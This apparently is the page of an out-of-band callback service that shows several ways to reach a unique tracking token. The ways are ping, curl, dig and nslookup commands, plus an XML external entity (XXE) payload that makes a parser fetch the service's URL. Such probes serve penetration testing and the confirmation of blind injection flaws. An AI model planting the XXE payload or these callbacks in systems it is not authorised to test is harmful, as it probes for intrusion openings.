$ ping -c1 -p 00726d20e784fba9829c4f821341fd00 unhack.ca
 
$ curl http://unhack.ca/p/726d20e784fba9829c4f821341fd
 
$ dig 726d20e784fba9829c4f821341fd @unhack.ca
 
$ dig 726d20e784fba9829c4f821341fd.ns.unhack.ca
 
C:\> nslookup 726d20e784fba9829c4f821341fd unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/726d20e784fba9829c4f821341fd">]>
    <foo>&xxe;</foo>
 
Waiting for ping...